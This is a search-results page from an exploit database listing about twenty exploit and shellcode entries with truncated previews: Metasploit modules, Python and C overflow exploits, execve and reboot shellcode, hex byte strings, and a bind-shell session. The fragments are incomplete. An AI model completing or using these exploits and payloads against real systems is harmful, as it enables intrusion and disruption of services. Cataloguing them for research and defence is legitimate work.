7304 matches found
APSIS Pound 1.5 - Remote Format String Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10267/info APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers. Ultimately this...
Sendmail 8.12.x Header Processing Buffer Overflow Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/6991/info Sendmail is prone to a remotely buffer-overflow vulnerability in the SMTP header parsing component. Successful attackers may exploit this vulnerability to gain control of affected servers. Reportedly, this...
CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow Exploit
No description provided by source. CPE17 Autorun Killer = 1.7.1 Stack Buffer Overflow exploit by Xelenonz require 'msf/core' class Metasploit3 Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initializeinfo = superupdateinfoinfo, 'Name' = 'CPE17 Autorun Killer = 1.7.1 Stack Buffer Overfl...
linux/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 99 bytes
No description provided by source. / - dual-linux.c - by [email protected] ripped from [email protected] ^-- much 3 brotha ; execve/bin/sh,/bin/sh,NULL,NULL shellcode for linux both the ppc and x86 version. I thought about adding mipsel but I don't feel up to it at the moment. In fact I feel li...
Steamcast - (HTTP Request) Remote Buffer Overflow Exploit (SEH) (2)
No description provided by source. !/usr/bin/python Usage : steamcast.py victimeip Bug : SteamcastHTTP Request Remote Buffer Overflow Exploit SEH 2 Founder : Luigi Auriemma, thx to overflow3r for informing me about the vuln. Tested on : Xp sp2 fr Exploited by : His0k4 Greetings : All friends &...
crossfire-server <= 1.9.0 SetUp() Remote Buffer Overflow Exploit
No description provided by source. // crossfire-server = 1.9.0 SetUp remote buffer overflow // // exploit by landser - ihsahn at gmail com // vote http://shinui.org.il // include stdio.h include stdlib.h include string.h include unistd.h include getopt.h include arpa/inet.h include sys/types.h...
NVR SP2 2.0 (nvUnifiedControl.dll 1.1.45.0) - SetText() Remote Exploit
No description provided by source. ------------------------------------------------------------------------------------------ PoC2 NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 nvUnifiedControl.dll v. 1.1.45.0 SetText Remote BoF Heap Spray Technique url: http://www.acti.com/index.asp author:...
Win32 Shellcode (cmd.exe) for XP SP3 English 26 Bytes
No description provided by source. / 26 Bytes Win32 Shellcode cmd.exe for XP SP3 English Author: Hellcode Research || TCC The Computer Cheats http://tcc.hellcode.net memberz: celil 'karak0rsan unuver , murderkey, murat kaslioglu, bob from murderkey: I love you merve lol from karak0rsan: fuck u ys...
BNC 2.2.4/2.4.6/2.4.8 IRC Proxy Buffer Overflow Vulnerability (1)
No description provided by source. / source: http://www.securityfocus.com/bid/1927/info BNC's IRC Proxy is used as a gateway to an IRC server. A buffer stores a username which arguments the program's USER command. User-supplied input to this buffer is improperly checked for length. As a result, t...
PHP <= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit
No description provided by source. ?php / Inphex 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache 7ffdf020 7c911005...
linux/x86 upload & exec 189 bytes
No description provided by source. UPLOAD & EXEC SHELLCODE 1 converting asm to hex 2 asm code 3 hex output 4 upload function This is an 'upload and exec' shellcode for the x86 platform. File has to be in executable format, cool if you know the distribution of the target, otherwise it is useless...
MS Windows 2000 sp1/sp2 isapi - .printer Extension Overflow Exploit (2)
No description provided by source. / IIS 5 remote .printer overflow. jill.c don't ask. by: dark spyrit [email protected] respect to eeye for finding this one - nice work. shouts to halvar, neofight and the beavuh bitchez. this exploit overwrites an exception frame to control eip and get to our...
IWConfig Local ARGV Command Line Buffer Overflow Vulnerability (3)
No description provided by source. source: http://www.securityfocus.com/bid/8901/info A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. / C 2003 NrAziz polygrithmathotmailDOTco...
Cogent DataHub HTTP Server Buffer Overflow
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...
PCMAN FTP 2.07 STOR Command - Buffer Overflow Exploit
No description provided by source. !/usr/bin/python Exploit Title: PCMAN FTP 2.07 STOR Command - buffer overflow Date: 18 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Contact: [email protected] Version: PCMAN FTP 2.07 STOR Command Tested on: Windows ...
Kerio Personal Firewall 2.1.4 - Remote Code Execution Exploit
No description provided by source. / Kerio Personal Firewall v2.1.4 remote code execution exploit Tested on Windows XP with SP1 In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow a connection to port 44334 from your testing unix shell ip. It is also possible t...
Linux x86 - polymorphic execve("/bin/bash","-p",NULL) - 57 bytes
No description provided by source. / Title: Linux x86 - polymorphic execve/bin/bash, /bin/bash, -p, NULL - 57 bytes Author: Jonathan Salwan Mail: [email protected] Web: http://www.shell-storm.org !Database of Shellcodes http://www.shell-storm.org/shellcode/ sh sets euid, egid to uid, gid if ...
Mac OS X <= 10.4.6 (launchd) Local Format String Exploit (ppc)
No description provided by source. !/usr/bin/perl http://www.digitalmunition.com/FailureToLaunch-ppc.pl Code by Kevin Finisterre kflistsatdigitalmunitiondotcom Much appreciation goes to John H for all kindsa random shit like exploiting Veritas and other random things in the past core... where the...
os-x/ppc sync(), reboot() 32 bytes
No description provided by source. / MacOSX/PowerPC Shellcode for: sync, reboot 32 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include stdio.h include string.h char shellcode = \x7c\x63\x1a\x79 \x39\x40\x01\x06 \x38\x0a\xff\x1e \x44\xff\xff\x02 \x60\x60\x60\x60 \x39\x40\x01\x19...
Solaris/x86 - Reboot() - 37 bytes
No description provided by source. / Title: Solaris/x86 - Reboot - 37 bytes Author: Jonathan Salwan submit!shell-storm.org Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan Date: 2010-05-21 Tested: SunOS opensolaris 5.11 snv111b i86pc i386 i86pc Solaris !Database of...